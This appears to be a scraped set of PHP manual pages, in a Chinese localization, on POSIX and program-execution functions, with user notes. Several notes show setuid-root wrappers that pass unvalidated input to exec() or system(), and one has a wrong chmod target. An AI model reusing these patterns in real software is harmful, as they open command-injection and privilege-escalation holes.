$fifoCommunication = new FIFOCommunication(
    getmypid() . '.input', 0600,
    getmypid() . '.output', 0600
);

echo "COMMUNICATION STARTED\n";

while (true) {
    if ($fifoCommunication->receive()) {
        $data = $fifoCommunication->getData();
        if ($data == "EXIT\n") {
            break;
        }
        else {
            $fifoCommunication->send('RECEIVED: ' . $fifoCommunication->getData());
        }
    }

    sleep(1);
}

$fifoComunication->remove();
?>
tim 17-Mar-2009 10:00
For non-blocking, fopen'd read access to a "half-connected" pipe (created with /usr/bin/mkfifo, posix_mkfifo, etc.), I just go ahead and do:
<?php
  $fh=fopen($fifo, "r+"); // ensures at least one writer (us) so will be non-blocking
  stream_set_blocking($fh, false); // prevent fread / fwrite blocking
?>

The "r+" allows fopen to return immediately regardless of external  writer channel.  You then have to use your own conventions to track $fh as a pseudo-read-only resource, since fwrite would technically be permitted as well.  I've successfully used this approach on Linux with PHP 4.3.10 and PHP 5.2.4 with both half-connected (no writer yet) and pre-connected (writer already waiting) pipes, polling with stream_select as usual.
mike at easystyle dot org 14-Oct-2008 05:06
Couldn't you just open up a writer yourself right after you open up a reader?  Just to be sure that you won't have any blocking issues...
TorokAlpar at Gmail dot com 05-Apr-2008 12:11
Here is a possible solution to what  - tech at kwur dot com- mentioned:

 I faced the problem where i had a process (a server) that needed to take care of socket connection, and in the meanwhile get some data from the database. I didn't wanted to make the clients wait for the query execution time, so i decided to make a separate process that executes the query on the DB, and the two would communicate over a pipe. Of course i didn't wanted the server blocking if no data was available. So what i come up with is to use stream_select() , and to overcome the mentioned problem, i would fork the process, open up the pipe for writing in the child, this way the parent won't block when it opens the pipe.

here is some code

<code>

<?php

if (pcntl_fork() == 0)
{
    // kid
    $file = fopen("JobsQueue","w");
    sleep(1);
    exit(0);
}
else
{
    usleep(15); // make sure that the child executes first
    $file = fopen("JobsQueue","r");
}

 echo "opened the queue \n";

 while (true)
 {
     $reders = array($file);
     if (stream_select($reders,$writers=null,$except=null,0,15) < 1)
     {
         continue;
     }
     else
     {
         // read data from the fifo
         $data = fread($file,1024);
         echo $data;
     }
     sleep(1);
 }

?>

</code>
tech at kwur dot com 19-Sep-2007 10:44
This is still not a solution: if I listen to commands on a pipe and output status on a separate pipe, PHP will block on both opens because something else has not already connected to this pipe.  Because I can't do a low-level fcntl() to to set O_NONBLOCK or something like it, this always locks up and is really stupid.  The only way I can get it to work is to spawn seperate subshells with system() and have them cat, or echo respectively and then the pipes work properly...usually?  Its alot of trouble that we can't set the blocking on the open!!
Enric Jaen 16-Aug-2007 09:22
A way to have a non-blocking pipe reader is to check first if the pipe exists. If so, then read from the pipe, otherwise do other stuff. This will work assuming that the writer creates the pipe, writes on it, and after that deletes the pipe.

This is a blocking writer:

<?php
   $pipe="/tmp/pipe";
   $mode=0600;
   if(!file_exists($pipe)) {
      // create the pipe
      umask(0);
      posix_mkfifo($pipe,$mode);
   }
   $f = fopen($pipe,"w");
   fwrite($f,"hello");  //block until there is a reader
   unlink($pipe); //delete pipe

?>

And this is the non-blocking reader:

<?php
   $pipe="/tmp/pipe";
   if(!file_exists($pipe)) {
      echo "I am not blocked!";
   }
   else {
      //block and read from the pipe
      $f = fopen($pipe,"r");
      echo fread($f,10);
   }
?>
Uther Pendragon 18-May-2007 02:12
Note (quoted from `man 7 pipe` on debian linux):

"On some systems (but not Linux), pipes are bidirectional:  data  can  be  transmitted  in  both directions  between  the pipe ends.  According to POSIX.1-2001, pipes only need to be unidirectional.  Portable applications should avoid reliance on bidirectional pipe semantics."

Linux pipes are NOT bidirectional.

Also, it appears to me that the use of fifo (named) pipes in php is pretty pointless as there appears to be NO way of determining whether opening (let alone reading) from it will block.  stream_select SHOULD be able to accomplish this, unfortunatly you cannot get to this point because even trying to OPEN a pipe for read will block until there is a writer.

I even tried to use popen("cat $name_of_pipe", 'r'), and even it blocked until it was opened for write by another process.


Create a special or ordinary file (POSIX.1)

  • ? posix_mkfifo
  • posix_pathconf ?
  • PHP Manual
  • POSIX 函数
  • Create a special or ordinary file (POSIX.1)

posix_mknod

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

posix_mknod — Create a special or ordinary file (POSIX.1)

说明

posix_mknod(
string $filename,
int $flags,
int $major = 0,
int $minor = 0
): bool

Creates a special or ordinary file.

参数

filename

The file to create

flags

This parameter is constructed by a bitwise OR between file type (one of the following constants: POSIX_S_IFREG, POSIX_S_IFCHR, POSIX_S_IFBLK, POSIX_S_IFIFO or POSIX_S_IFSOCK) and permissions.

major

The major device kernel identifier (required to pass when using S_IFCHR or S_IFBLK).

minor

The minor device kernel identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A posix_mknod() example

<?php

$file = '/tmp/tmpfile'; // file name
$type = POSIX_S_IFBLK; // file type
$permissions = 0777; // octal
$major = 1;
$minor = 8; // /dev/random

if (!posix_mknod($file, $type | $permissions, $major, $minor)) {
die('Error ' . posix_get_last_error() . ': ' . posix_strerror(posix_get_last_error()));
}

?>

参见

  • posix_mkfifo() - Create a fifo special file (a named pipe)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a configurable limit

  • ? posix_mknod
  • posix_setegid ?
  • PHP Manual
  • POSIX 函数
  • Returns the value of a configurable limit

posix_pathconf

(PHP 8 >= 8.3.0)

posix_pathconf — Returns the value of a configurable limit

说明

posix_pathconf(string $path, int $name): int|false
Warning

本函数还未编写文档，仅有参数列表。

Returns the value of a configurable limit from name for a file

参数

path

The name of the file whose limit you want to get.

name

The name of the configurable limit, one of the following. POSIX_PC_LINK_MAX, POSIX_PC_MAX_CANON POSIX_PC_MAX_INPUT, POSIX_PC_NAME_MAX POSIX_PC_PATH_MAX, POSIX_PC_PIPE_BUF POSIX_PC_CHOWN_RESTRICTED, POSIX_PC_NO_TRUNC POSIX_PC_ALLOC_SIZE_MIN, POSIX_PC_SYMLINK_MAX

返回值

Returns the configurable limit or false.

错误／异常

Throws a ValueError when path is empty.

示例

Example #1 posix_pathconf() example

This example will get the max path name's length in bytes for the tmp dir.

<?php
echo posix_pathconf(sys_get_temp_dir(), POSIX_PC_PATH_MAX);
?>

以上示例会输出：

4096

注释

参见

  • posix_fpathconf() - Returns the value of a configurable limit

User Contributed Notes

There are no user contributed notes for this page.


Set the effective GID of the current process

  • ? posix_pathconf
  • posix_seteuid ?
  • PHP Manual
  • POSIX 函数
  • Set the effective GID of the current process

posix_setegid

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

posix_setegid — Set the effective GID of the current process

说明

posix_setegid(int $group_id): bool

Set the effective group ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function.

参数

group_id

The group id.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 posix_setegid() example

This example will print out the effective group id, once changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

参见

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process
  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.


Set the effective UID of the current process

  • ? posix_setegid
  • posix_setgid ?
  • PHP Manual
  • POSIX 函数
  • Set the effective UID of the current process

posix_seteuid

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

posix_seteuid — Set the effective UID of the current process

说明

posix_seteuid(int $user_id): bool

Set the effective user ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function.

参数

user_id

The user id.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • posix_geteuid() - Return the effective user ID of the current process
  • posix_setuid() - Set the UID of the current process
  • posix_getuid() - Return the real user ID of the current process

User Contributed Notes

divinity76 at gmail dot com 14-Jul-2020 11:23
if you want to set uid by username rather than uid, try combining it with posix_getpwnam(),

<?php
posix_seteuid (posix_getpwnam("www-data")["uid"]);
posix_setegid(posix_getpwnam("www-data")["gid"]);
?>

note that posix_getpwnam() reads /etc/passwd on each invocation, if you need it to go fast, this should be faster (only read passwd once):
<?php
$posix_user_info=posix_getpwnam("www-data");
posix_seteuid ($posix_user_info["uid"]);
posix_setegid($posix_user_info["gid"]);
?>

and to go back to being root, just set them to 0,

<?php
posix_seteuid(0);
posix_setegid(0);
?>


Set the GID of the current process

  • ? posix_seteuid
  • posix_setpgid ?
  • PHP Manual
  • POSIX 函数
  • Set the GID of the current process

posix_setgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setgid — Set the GID of the current process

说明

posix_setgid(int $group_id): bool

Set the real group ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function. The appropriate order of function calls is posix_setgid() first, posix_setuid() last.

Note:

If the caller is a super user, this will also set the effective group id.

参数

group_id

The group id.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 posix_setgid() example

This example will print out the effective group id, once it is changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setgid(40);
echo 'My real group id is '.posix_getgid(); //40
echo 'My effective group id is '.posix_getegid(); //40
?>

参见

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process

User Contributed Notes

jac 26-May-2011 10:26
if you're going to use this along with posix_setuid, make sure you call posix_setgid first:

<?php
define (PROC_USER, 'john');
define (PROC_GRP, 'admins');
?>

following works:

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setgid($group['gid']);
posix_setuid($user['uid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>

following will not set gid

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setuid($user['uid']);
posix_setgid($group['gid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>


Set process group id for job control

  • ? posix_setgid
  • posix_setrlimit ?
  • PHP Manual
  • POSIX 函数
  • Set process group id for job control

posix_setpgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setpgid — Set process group id for job control

说明

posix_setpgid(int $process_id, int $process_group_id): bool

Let the process process_id join the process group process_group_id.

参数

process_id

The process id.

process_group_id

The process group id.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • See POSIX.1 and the setsid(2) manual page on the POSIX system for more information on process groups and job control.

User Contributed Notes

There are no user contributed notes for this page.


Set system resource limits

  • ? posix_setpgid
  • posix_setsid ?
  • PHP Manual
  • POSIX 函数
  • Set system resource limits

posix_setrlimit

(PHP 7, PHP 8)

posix_setrlimit — Set system resource limits

说明

posix_setrlimit(int $resource, int $soft_limit, int $hard_limit): bool

posix_setrlimit() sets the soft and hard limits for a given system resource.

Each resource has an associated soft and hard limit. The soft limit is the value that the kernel enforces for the corresponding resource. The hard limit acts as a ceiling for the soft limit. An unprivileged process may only set its soft limit to a value from 0 to the hard limit, and irreversibly lower its hard limit.

参数

resource

The resource limit constant corresponding to the limit that is being set.

soft_limit

The soft limit, in whatever unit the resource limit requires, or POSIX_RLIMIT_INFINITY.

hard_limit

The hard limit, in whatever unit the resource limit requires, or POSIX_RLIMIT_INFINITY.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • man page SETRLIMIT(2)
  • posix_getrlimit() - Return info about system resource limits

User Contributed Notes

There are no user contributed notes for this page.


Make the current process a session leader

  • ? posix_setrlimit
  • posix_setuid ?
  • PHP Manual
  • POSIX 函数
  • Make the current process a session leader

posix_setsid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setsid — Make the current process a session leader

说明

posix_setsid(): int

Make the current process a session leader.

参数

此函数没有参数。

返回值

Returns the session id, or -1 on errors.

参见

  • The POSIX.1 and the setsid(2) manual page on the POSIX system for more information on process groups and job control.

User Contributed Notes

karlsson dot nicklas at gmail dot com 22-Jan-2008 08:32
Very useful when making daemons, for example:

<?php
    $pid = pcntl_fork(); // fork
    if ($pid < 0)
        exit;
    else if ($pid) // parent
        exit;
    else { // child

        $sid = posix_setsid();

        if ($sid < 0)
            exit;

        for($i = 0; $i <= 60; $i++) { // do something for 5 minutes
            sleep(5);
        }
    }
?>


Set the UID of the current process

  • ? posix_setsid
  • posix_strerror ?
  • PHP Manual
  • POSIX 函数
  • Set the UID of the current process

posix_setuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setuid — Set the UID of the current process

说明

posix_setuid(int $user_id): bool

Set the real user ID of the current process. This is a privileged function that needs appropriate privileges (usually root) on the system to be able to perform this function.

参数

user_id

The user id.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 posix_setuid() example

This example will show the current user id and then set it to a different value.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_setuid(10000);
echo posix_getuid()."\n"; //10000
echo posix_geteuid()."\n"; //10000
?>

参见

  • posix_setgid() - Set the GID of the current process
  • posix_seteuid() - Set the effective UID of the current process
  • posix_getuid() - Return the real user ID of the current process
  • posix_geteuid() - Return the effective user ID of the current process

User Contributed Notes

Leigh 22-May-2014 02:08
Note that on unix, if your target user does not have a valid shell, some php functions (eg: tempnam) will not work correctly:

$ grep www-data /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

$ cat test.php
#!/usr/bin/php -q
<?php
    $info=posix_getpwnam("www-data");
    $id=$info["uid"];

    $file=tempnam("/tmp","something");
    print "PRE SetUID: $file\n";

    $SETUID=posix_setuid($id);

    $file=tempnam("/tmp","something");
    print "POST SetUID: $file\n";
?>

$ sudo ./test.php
PRE SetUID: /tmp/somethingrsb1qZ
POST SetUID:
fm at farhad.ca 17-Oct-2007 03:44
When you do a posix_setuid from root to some other users you will not have access to files owned by root according to their permissions. For instance if you change owner of the process and still need to open a file for read or write with 600 permission owned by root you will receive a permission denied.
There are some ways to do this (i.e. a unix socket or tcp daemon etc), but probably the most easiest way is:

Open the file before changing ownership of process, save the file pointer in a global variable and use it after changing ownership.

For example assume /root/test_file is a file owned by root:root and have a permission of 600 and you are running this script under root. This code will not work:

<?php
// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

$fd = fopen('/root/test_file','a');
fwrite($fd,"some test strings");
fclose();

?>

But this one will work:

<?php
$fd = fopen('/root/test_file','a');

// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

fwrite($fd,"some test strings");
fclose();

?>

Hope this helps some one.

[Tested on CentOS 5 - Linux 2.6.x - PHP 5.2.x]
reuben @ nospam me 25-Apr-2007 06:25
In response to a note above that advocated the user of system() in a setuid program written in C, this is generally a bad idea for security.

You should use the standard library calls like execl() instead because system() can be manipulated to execute the wrong thing using the SHELL, IFS and possibly other variables.
TheWanderer 09-Feb-2007 04:16
On many UNIX systems (tested on Debian GNU/Linux), SUID is disabled for scripts and works only for binaries. If you need to setuid, you must use a wrapper binary that runs setuid() php script. Here's an example:

$ nano suexec.cpp
#include <stdlib>
using namespace std;
int main()
{
system("php /home/php/php_user.php");
return 0;
}

$ g++ -o suexec suexec.cpp
$ sudo chown root:root suexec
$ sudo chmod 4755 root

Then we create short PHP script to set process uid (you should already know how to do this). Don't even try to experiment with auto_prepend_file in php.ini, it doesn't work as expected.
hpaul/at/abo/dot/fi 29-Jul-2006 11:56
It seems like this function returns true if you try to change uid to the already active user - even if you aren't root.

Should save you one if-statement in some cases.
rjmooney at syr dot edu 09-Nov-2003 03:40
For simple operations, you can easily create a privilege-separation mechanism to perform commands that require elevated privileges.

For example, in creating a document repository, I had the need to provide access to certain directory and file operations based on a user's login name.  It's unrealistic and unsecure to provide the web server access to all of the directories that the user may need to access, so I created a setuid() script to perform the required operations for me.

An exerpt from the code demonstrates this:

<?

//
// main.php
//

// Perform a privileged stat()
function privsep_stat($path)
{
        // Call the privilege separation program, ask for a stat of the specified path
        $serialized_result = exec("/path/to/privsep.php stat " . $path, $oa, $return_code);
        if ($return_code != 0)
        {
                return false;
        }

        // Return the unserialized object
        return unserialize($serialized_result);
}

// Get file statistics on a file we don't have access to as the web server user
$st = privsep_stat("/private_directory/private_file");
print_r($st);

?>

privsep.php looks like this:

#!/usr/local/bin/php
<?

//
// privsep.php
//

// Don't allow this script to be run from the web
if (isset($_SERVER['REQUEST_METHOD']))
{
    print "<br>This program is not intended to be run directly from the WWW.\n";
    return 1;
}

// TODO: add your argument validation here

// A stat was requested
if ($argv[1] == "stat")
{
    // Reset the stat() cache
    clearstatcache();

    // Original user ID
    $original_uid = posix_get_uid();

    // Set our real user ID to root
    $success = posix_setuid(0);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Store the file statistics
    $st = stat($argv[2]);

    // Drop the real UID back to the calling user ID
    $success = posix_setuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Drop the effective UID as well
    $success = posix_seteuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot seteuid().\n";
        return 1;
    }

    // Serialize the result and print it
    $result = serialize($st);
    print $result;

    // Success!
    return 0;
}
?>

Finally, privsep.php's permissions are configured like this:

# chown root:wheel privsep.php
# chmod 4755 privsep.php

And look like this:

-rwsr-xr-x  1 root      wheel     1000 Nov  1 00:00 privsep.php

It's probably wise to keep privsep.php out of your document root to help mitigate any successful attack.

This method can be extended for other functions.  Use at your own risk.
simon at dont-spam-me-pleease dot simonster dot com 02-Aug-2002 03:53
Here's some Perl code to run a PHP script setuid. Just put it into a CGI, make that CGI setuid and executable, then call the CGI where you would usually call the PHP script.

#!/usr/local/bin/perl

# Perl wrapper to execute a PHP script setuid
# ?2002 Simon Kornblith
# Requires PHP CGI

# Make UID = EUID (so that PHP can run system()s and execs() setuid)
$< = $>;
# Set this to the path, so that we can't get poisoned
$ENV{'PATH'} = "/home/httpd/cgi-bin/ssl/admin";
# Open the PHP script (must start with !#/usr/local/bin/php or similar and
# be executable
open(STDOUT, "| /home/httpd/cgi-bin/ssl/admin/new.php");
# Write STDIN to PHP script
print while <STDIN>;


Retrieve the system error message associated with the given errno

  • ? posix_setuid
  • posix_sysconf ?
  • PHP Manual
  • POSIX 函数
  • Retrieve the system error message associated with the given errno

posix_strerror

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_strerror — Retrieve the system error message associated with the given errno

说明

posix_strerror(int $error_code): string

Returns the POSIX system error message associated with the given error_code. You may get the error_code parameter by calling posix_get_last_error().

参数

error_code

A POSIX error number, returned by posix_get_last_error(). If set to 0, then the string "Success" is returned.

返回值

Returns the error message, as a string.

示例

Example #1 posix_strerror() example

This example will attempt to kill a process which does not exist, then will print out the corresponding error message.

<?php
posix_kill(50,SIGKILL);
echo posix_strerror(posix_get_last_error())."\n";
?>

以上示例的输出类似于：

No such process

参见

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed

User Contributed Notes

There are no user contributed notes for this page.


Returns system runtime information

  • ? posix_strerror
  • posix_times ?
  • PHP Manual
  • POSIX 函数
  • Returns system runtime information

posix_sysconf

(PHP 8 >= 8.3.0)

posix_sysconf — Returns system runtime information

说明

posix_sysconf(int $conf_id): int

Returns system runtime information.

参数

conf_id

Identifier of the variable with the following constants POSIX_SC_ARG_MAX, POSIX_SC_PAGESIZE POSIX_SC_NPROCESSORS_CONF, POSIX_SC_NPROCESSORS_ONLN

返回值

Returns the numeric value related to conf_id

示例

Example #1 posix_sysconf() example

Returns the number of active cpus.

<?php
echo posix_sysconf(POSIX_SC_NPROCESSORS_ONLN);
?>

以上示例会输出：

2

User Contributed Notes

There are no user contributed notes for this page.


Get process times

  • ? posix_sysconf
  • posix_ttyname ?
  • PHP Manual
  • POSIX 函数
  • Get process times

posix_times

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_times — Get process times

说明

posix_times(): array|false

Gets information about the current CPU usage.

参数

此函数没有参数。

返回值

Returns a hash of strings with information about the current process CPU usage. The indices of the hash are:

  • ticks - the number of clock ticks that have elapsed since reboot.
  • utime - user time used by the current process.
  • stime - system time used by the current process.
  • cutime - user time used by current process and children.
  • cstime - system time used by current process and children.
The function returns false on failure.

示例

Example #1 Example use of posix_times()

<?php

$times = posix_times();

print_r($times);
?>

以上示例的输出类似于：

Array
(
    [ticks] => 25814410
    [utime] => 1
    [stime] => 1
    [cutime] => 0
    [cstime] => 0
)

注释

Warning

This function isn't reliable to use, it may return negative values for high times.

User Contributed Notes

brain at winbot dot co dot uk 26-Jun-2004 06:14
doesnt work with freebsd. as stated above the clock ticks at different intervals on different platforms.

for system uptime consider piping the uptime command or similar, depending on if performance is an issue or not.
not_rich_yet at hotmail dot com 19-Jul-2003 04:21
If you want the output to be 'grammatically correct' then try the following code.  It will eg print '1 minute' as opposed to '1 minutes', the same goes for days and hours:

Put the following code somewhere in the head of the page code:

<?php
function uptime() {
if (!$times = posix_times() ) {
return ("unknown");
} else {
$now = $times['ticks'];
$days = intval($now / (60*60*24*100));
$remainder = $now % (60*60*24*100);
$hours = intval($remainder / (60*60*100));
$remainder = $remainder % (60*60*100);
$minutes = intval($remainder / (60*100));
if ($days == 1) {$writeDays = "day";} else {$writeDays = "days";}
if ($hours == 1) {$writeHours = "hour"; } else {$writeHours = "hours";}
if ($minutes == 1) {$writeMins = "minute";} else {$writeMins = "minutes";}
return ("$days $writeDays, $hours $writeHours, $minutes $writeMins");
}
}
?>

Then put this bit where you want the info displayed:

<?php
print uptime();
?>

Regards,

nry
murphy at nmc-online dot co dot uk 17-Jun-2003 11:01
I am not sure why, and it could just be me but on my FreeBSD system using
$time = posix_times();
$time['ticks'] is an enormous value that bears no relation to the system uptime (I tested by rebooting the system,  the number does not change).
I checked my timecounters, they tick every 10.000msec and I did the maths on the returned value and it suggested the machine had been up for over 200 days - it was reformatted about a week ago.
This could be to do with FreeBSD, or *BSD, or just *idiots like me but just check before you use the function.
 ~
FreeBSD 5.1-R, Apache 2.0.46, PHP4.3.2
rossz+php at vamos-wentworth dot org 20-Nov-2002 01:42
This function will return the system uptime as a human readable string such as "172 days, 18 hours, 15 minutes".  I didn't bother to handle singular so the grammar could be a bit off, e.g. 1 hours.

function uptime() {
  if (!$times = posix_times()) {
    return ("unknown");
  } else {
    $now = $times['ticks'];
    $days = intval($now / (60*60*24*100));
    $remainder = $now % (60*60*24*100);
    $hours = intval($remainder / (60*60*100));
    $remainder = $remainder % (60*60*100);
    $minutes = intval($remainder / (60*100));
    return ("$days days, $hours hours, $minutes minutes");
  }
}


Determine terminal device name

  • ? posix_times
  • posix_uname ?
  • PHP Manual
  • POSIX 函数
  • Determine terminal device name

posix_ttyname

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_ttyname — Determine terminal device name

说明

posix_ttyname(resource|int $file_descriptor): string|false

Returns a string for the absolute path to the current terminal device that is open on the file descriptor file_descriptor.

参数

file_descriptor

The file descriptor, which is expected to be either a file resource or an int. An int will be assumed to be a file descriptor that can be passed directly to the underlying system call.

返回值

On success, returns a string of the absolute path of the file_descriptor. On failure, returns false

错误／异常

On invalid file_descriptor integer values an E_WARNING is raised.

更新日志

版本 | 说明
8.3.0 | Type error E_WARNINGs are now raised for integer coercions following the usual PHP type coercion semantics.
8.3.0 | On invalid file_descriptor integer values an E_WARNING is now raised.

参见

  • posix_isatty() - Determine if a file descriptor is an interactive terminal
  • stream_isatty() - Check if a stream is a TTY

User Contributed Notes

casper at bcx dot nl 19-Apr-2006 07:10
<?php
    var_dump( posix_ttyname(STDOUT) );
?>

returns:
string(10) "/dev/pts/0"

When using pseudo terminal 1 (ie ssh)


Get system name

  • ? posix_ttyname
  • 程序执行 ?
  • PHP Manual
  • POSIX 函数
  • Get system name

posix_uname

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_uname — Get system name

说明

posix_uname(): array|false

Gets information about the system.

Posix requires that assumptions must not be made about the format of the values, e.g. the assumption that a release may contain three digits or anything else returned by this function.

参数

此函数没有参数。

返回值

Returns a hash of strings with information about the system. The indices of the hash are

  • sysname - operating system name (e.g. Linux)
  • nodename - system name (e.g. valiant)
  • release - operating system release (e.g. 2.2.10)
  • version - operating system version (e.g. #4 Tue Jul 20 17:01:36 MEST 1999)
  • machine - system architecture (e.g. i586)
  • domainname - DNS domainname (e.g. example.com)

domainname is a GNU extension and not part of POSIX.1, so this field is only available on GNU systems or when using the GNU libc.

The function returns false on failure.

示例

Example #1 Example use of posix_uname()

<?php
$uname=posix_uname();
print_r($uname);
?>

以上示例的输出类似于：

Array
(
    [sysname] => Linux
    [nodename] => funbox
    [release] => 2.6.20-15-server
    [version] => #2 SMP Sun Apr 15 07:41:34 UTC 2007
    [machine] => i686
)

User Contributed Notes

boards at gmail dot com 29-Jan-2006 09:24
Or, a simpler way to do that:

<?php
print_r(posix_uname());
?>

Should print something like:

Array
(
    [sysname] => Linux
    [nodename] => vaio
    [release] => 2.6.15-1-686
    [version] => #2 Tue Jan 10 22:48:31 UTC 2006
    [machine] => i686
)
sean at thedesignpeople dot com 09-Aug-2004 08:39
A simple example of how to loop thru and display the results of the posix_uname() function...

<?php
foreach(posix_uname() AS $key=>$value) {
    print $key .": ". $value ."<br>";
}
?>

The procedure above should return something similar to the following results:

sysname: Linux
nodename: node1
release: 2.4.26
version: #6 Mon Jun 14 19:07:27 PDT 2004
machine: i686


系统程序执行

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 程序执行函数
    • escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数
    • escapeshellcmd — shell 元字符转义
    • exec — 执行一个外部程序
    • passthru — 执行外部程序并且显示原始输出
    • proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
    • proc_get_status — 获取由 proc_open 函数打开的进程的信息
    • proc_nice — 修改当前进程的优先级
    • proc_open — 执行一个命令，并且打开用来输入/输出的文件指针。
    • proc_terminate — 杀死由 proc_open 打开的进程
    • shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
    • system — 执行外部程序，并且显示输出

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数提供执行系统本身命令的能力， 以及安全执行系统命令。

Note:

在 Windows 平台上，所有命令执行都是通过 cmd.exe 来完成的。 因此，调用这些函数的用户需要拥有运行此命令的相应权限。 但是当使用 bypass_shell 选项来调用 proc_open() 函数时是个例外。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

本扩展定义了 process 资源， proc_open() 函数会返回此资源。

User Contributed Notes

There are no user contributed notes for this page.


程序执行函数

注释

Warning

以加锁方式打开的文件（特别是在打开会话时）， 必须在执行后台程序之前关闭。

参见

这些函数和 执行运算符 是紧密关联的。

Table of Contents

  • escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数
  • escapeshellcmd — shell 元字符转义
  • exec — 执行一个外部程序
  • passthru — 执行外部程序并且显示原始输出
  • proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
  • proc_get_status — 获取由 proc_open 函数打开的进程的信息
  • proc_nice — 修改当前进程的优先级
  • proc_open — 执行一个命令，并且打开用来输入/输出的文件指针。
  • proc_terminate — 杀死由 proc_open 打开的进程
  • shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
  • system — 执行外部程序，并且显示输出

User Contributed Notes

onkelfilemon at gmail dot com 25-Oct-2020 01:24
Note that `popen` is also a program execution function, which for some reason is not listed here.
HappyDog, kennel17.co.uk 04-Mar-2017 12:35
Just following up my previous post, in reply to lancelot--du-lac at hotmail dot fr:

The behaviour described was fixed in PHP 5.3 in the following commit:

https://github.com/php/php-src/commit/19322fc782af429938da8d3b421c0807cf1b848a#diff-15f2d3ef68f383a87cce668765721041R221

To replicate the fix in your own code, so it also runs on PHP 5.2, instead of:

<?php
$cmd = "...any shell command, maybe with multiple quotes...";
exec($cmd);
?>

use

<?php
$cmd = "...any shell command, maybe with multiple quotes...";

if (strtoupper(substr(php_uname('s'), 0, 3)) == "WIN"
    && version_compare(PHP_VERSION, "5.3", "<"))
{
    $cmd = '"' . $cmd . '"';
}

exec($cmd);
?>

This replicates the behaviour of PHP 5.3 and above.  Note that this applies to all shell commands (not just exec(), as used in my example).
benkitzelman at yahoo dot co dot uk 20-Aug-2010 08:02
Within Linux, when calling the php interpreter directly from popen, or other program execution function to execute a script, it appears as though the script perpetually fails and re-executes.

i.e. <?php popen("php myscript.php&", "w"); // fail ?>

As each re-execution causes the executing script to load under a new PID, it is incredibly difficult to identify and kill the process manually.

[One solution is] to ensure the executing script has a valid shebang, and execute permissions. This allows you to execute the script directly

i.e. <?php popen("./myscript.php", "w"); // ok ?>
Anonymous 09-Jul-2008 10:34
I found this comment on this page:

[begin of quote]
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
[end of quote]

This is just to complicated. Only two things are needed:
1. Specific permissions for the IUSR account for read & execute to the cmd.exe in C:\Windows\System32 directory
2. Specific permissions for the IUSR account for read & execute to the command that's needed (example: nslookup.exe in C:\Widnows\System23 directory)

With just this two conditions the exec works fine

(This is for an IIS server running on a windows platform)
